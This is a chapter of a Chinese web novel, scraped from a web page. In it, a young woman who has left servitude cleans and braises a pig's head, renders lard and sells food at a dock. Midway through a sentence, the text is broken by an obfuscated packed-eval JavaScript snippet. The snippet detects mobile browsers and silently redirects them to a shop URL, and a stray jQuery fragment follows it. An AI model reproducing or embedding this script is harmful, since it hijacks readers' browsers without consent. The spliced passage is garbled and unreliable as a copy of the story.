21.烧猪头啊烧猪头

作品:《远走高飞,从脱籍开始!

    平时肉铺的猪头鲜少有人买,一个猪头动辄好几斤,寻常人家一天才那点进项,哪里舍得花钱买这个?


    是以,肉铺的猪头要么卖给酒楼,要么就是卖给做吃食的小贩。


    “店家,我要了这猪头,再来点新鲜猪板油,你可得给个好价!”


    “姑娘放心好了,我在这绿柳巷卖肉多少年了,价格最是公道的,这样吧,猪头和猪板油今儿都收姑娘八文一斤!”


    平时猪板油可是要十文左右的,今儿跟着猪头能便宜一两文一斤,以后天会越来越冷,猪板油也不会坏,所以香云便想着多买些回去。


    最后,猪头一共将近八斤,猪板油买了四斤多,一起花了一百文。


    每天早出晚归的奔波不停,香云实在不想那么亏待自己。


    银钱要挣,可日子也要当个日子好好过才行。


    猪肉只能买来偶尔打打牙祭,炖菜能来点猪油却是极好的。


    况且,人若是腹中一直缺油水,做起事儿来也没劲。


    香云付完银钱,挎着篮子,提着大猪头,一路便往家里去了。


    一路上,自然有那无事便爱嚼嚼舌根的长舌妇,昨儿看到香云提溜着两条大鲤鱼,今儿又是提着个大猪头。


    这些人,无事都要生几尺浪的,见到香云模样好,又独自一人赁了个屋子住。


    现在更是吃香的喝辣的,今儿鱼、明天肉的,一个个心里眼热得很。


    待香云走过她们身边后,便凑在一起嘀咕了起来。


    “你说她什么来路?天天大鱼大肉的,哪里来的银子啊?”


    “你看她细皮嫩肉的,这银钱定是来路不明的,我说啊,你们回去可得看紧自家汉子了,这样的人手段可是了得!”


    “不能吧?我听人说,她是在码头摆摊做小买卖的,我昨儿晚上还看到她挎着大篮子往码头方向去呢。”……


    几个女人就这样你一言我一语的,说起别人的是非来头头是道,甚是带劲。


    可香云哪里在乎这些,她早就知道自己独生一人在一个地方过活肯定会被人非议。


    可相比于能离开那个吃人的虎狼之窝,这些流言蜚语又算得了什么呢!


    况且她挣得每一文钱都来得光明正大,老话说得好,身正不怕影子斜,那些好事之人愿意说就让他们说去。


    天长日久的,自己只要不搭茬,她们也就觉得没趣儿了!


    回到家之后,放下篮子,香云就去卧房将自己那装了刀的包袱拿了出来,从里面取了一把短刀。


    猪头刚刚已经让卖肉的店家砍成了两半,现在就得轮到自己来拾掇了。


    大猪头虽然好吃,但若是收拾不干净,那烧出来的猪头滋味也不好,更有甚者还会有一股难闻的怪味。


    香云拿出来的短刀虽窄却锋利,用起来十分趁手,用来处理大猪头正合适。


    先把猪头里的猪脑花掏出来,再把包着猪脑花的那层膜去除,因为这东西特别腥臭。


    接着便是猪鼻腔中间的臭骨跟粘液,也得剔除干净了。


    小刀在香云的手里十分灵活,不消片刻,猪头上不能吃的部位,都被剔除后扔了。


    寻出之前买的深木盆,猪头往里头一丢,大小正合适。


    利索地又去提了几桶水来,直接倒在木盆里,水一定要淹没猪头才好,这样里面的血水才能都浸泡干净。


    任由猪头泡在水里,香云便去给晒着的菜蔬挨个翻了个身。


    这时候,昨儿晒了一天的冬瓜、豆角还有茄子,表面已经变色、发干了。


    相信再来几个大太阳,这干菜就大功告成了。


    等忙完这些,已经到了晌午时分了,午饭不用特地做,就是香云早上特地留出来的两个杂粮馒头。


    趁着这个空儿,香云又去和面洗韭菜,提前备好,下午去烙饼才能不慌乱。


    面和好盖上盖儿醒发,韭菜洗净了通风晾晒,香云终于得空坐下来歇了会儿。


    只是屁股还没坐热,忽的瞥见篮子里放着的那块白花花的猪板油,仿佛立刻就闻到了油渣的香味,瞬间她觉得身上好像也没那么累了。


    麻溜起身,几个大跨步,她就走到篮子前,乐滋滋地拿出了猪板油。


    打了一盆水把猪板油清洗干净,切成小块,这次猪板油买的多,自然用大灶来炼油。


    生火添柴火,不一会儿锅就烧热了,加水放猪油,中火慢慢烧着。


    香云一边顾着火塘一边又得照管着锅里,虽然忙得脚下生风,可随着油渣香味渐渐飘出时,所有的辛苦好像都不值一提了。


    等白色的猪板油变成了深黄色的油渣,猪油便炼成了。


    先用笊篱捞出油渣,再将猪油舀出来装进小瓮里。


    看着清凉醇香的猪油,香云心里真真欢喜得很,以后,日子一定会越来越好的!


    四斤多猪板油出的油渣有一大碗,不用其他复杂的调料,简单的撒上些盐巴,就是一道绝佳美味。


    辛苦了这半天,必须来上些犒劳犒劳自己。


    油渣入口,咬在嘴里咯嘣作响,酥香油润,这对缺油水的香云来说,实在是香到了骨子里。


    一连吃了好几块,香云才罢了手,剩下的仔细收了,明儿买块豆腐和猪血回来,用这油渣一起炖了,便又是一顿鲜香十足的好吃食。


    抹了一把油汪汪的嘴唇,香云不由笑了出声,如今的她,早就没了在薛家时的小心谨慎,怎样舒服怎么来。


    她现在不是谁的奴婢,也不是谁的女儿,更不是谁的妹妹、姐姐,她只是她,一个完完全全为了自己而努力过日子的平凡女子。


    吃了油渣,中午就着热水和小菜,香云腮帮子鼓鼓地啃完了两个杂粮馒头,去看了看泡着的猪头,又给换了一次水,便回卧房歇了个午觉。


    早起后的忙碌,让她一沾床榻便是黑甜一觉,醒来后已经是半个多时辰后了。


    冷水洗个脸,让人更加清醒,这时候浸泡了将近两个时辰的猪头也已经发白了。


    捞出猪头,用短刀将猪耳朵和猪舌头都卸下来。


    火塘里生火,挑一根长柴火,点燃后拿到院中将猪头上的毛都烧了,烧到猪头表面发黑起小泡就行。


    猪毛烧完后,大猪头放进盆里,端着直奔河边,将猪头表面烧焦的部分洗刷干净,再来回淘洗几遍,到这一步,猪头才算是彻底拾掇干净呢!


    看着处


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17442789|200928||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    理干净的猪头,拿在手里凑近了闻一闻,一点异味也没有。


    香云很是满意地点了点头,这第一道工序可算是完成了。


    一来二去又是不少时间,香云一看日头,便知是时候去码头了。


    烧猪头耗时间,所以香云今儿卖完烙饼就不回来了。


    提前将瓜菜都收了吊在篮子里通风,又去准备各种调料,挑了两根好柴火备着。


    除了这些,最重要的就是今晚烧猪头的器具锡古子了,这还是香云早上特地在杂货店现买的。


    猪头要烧的透烂,非得要这锡古子不可,往锅里一扣,盖上锅盖,一点不跑热气,饶是食材坚硬如铁,也能炖得烂乎的。


    今儿东西多,所以香云也不硬撑,所有东西收拾好了后,便花了两文钱坐了驴车。


    到了码头后,还是如同昨日一样,生炉子烙饼。


    她毕竟是常年在厨房做活的,所以摆小摊卖吃食这种活儿很快就适应了。


    利落地做饼、烙饼,一锅接着一锅。


    码头上人来人往的,烙饼也不愁卖,香云还给自己留了两个素馅的当晚饭。


    天擦黑后,香云吃了烙饼,就着油灯打了会络子,便开始烧猪头了。


    封着的炉子捅开了火,支上一口大锅,放入拾掇好的猪头,不加一滴水,只放上好的黄酒、酱油、大酱,姜丝、黄糖也要来上一些。


    接着便是茴香、砂仁、白芷等各色香料,一起都加进去。


    翻拌均匀后上下扣上锡古子,盖上锅盖,炉子里添上柴火,这猪头便开始烧起来了。


    等待的时间,香云一边坐在炉子前看着火候,一边则手指翻飞的打着络子。


    不一会儿,就听到锅里“咕嘟咕嘟”开始发出声响来。


    大火烧滚两遍,转成中小火慢慢炖着,这时候,锅里开始慢慢散发出香气来。


    约摸半个多时辰过去后,这锅里的香气越发浓郁了起来。


    码头上本就风大,这大晚上的,河水拂面,夜凉如水。


    香云炉子上锅里烧的猪头散发出来的馥郁醇厚的香气随着吹来的阵阵河风氤氲飘起,就如同长了脚一样,跑遍了码头上的每一个角落。


    丝丝缕缕地钻进人的鼻子里,再跑进人的心里,虽还未尝其味,却已经是让人沉醉在了这异香之中。


    “我的天爷,这又是哪家烧的什么这么香啊!”


    “看着方向,像是白日里卖烙饼的那姑娘的摊子啊!”


    “走走走,待会去瞧瞧,这到底卖的什么啊,真把人香迷糊了!”……


    不说旁人,香云自己坐在炉子前,闻着锅里烧猪头的喷香滋味,都不知咽了多少回口水了。


    “今儿,说什么也得给自己留一小碗尝尝味儿!”她恨恨地打着络子,心里不停说道。


    猪头下锅约摸一个时辰后,香云估摸着火候到了,便不再添柴火,只留锅里余火慢慢煨着。


    火灭后,再焖片刻,便到了开盖的时候。


    盖子打开,取出锡古子,纵使夜色昏暗,却依旧可见锅中烧猪头色泽红亮,皮脱肉烂。


    就在此时,也已经有那嘴馋之人闻着味儿寻到了香云的摊子跟前。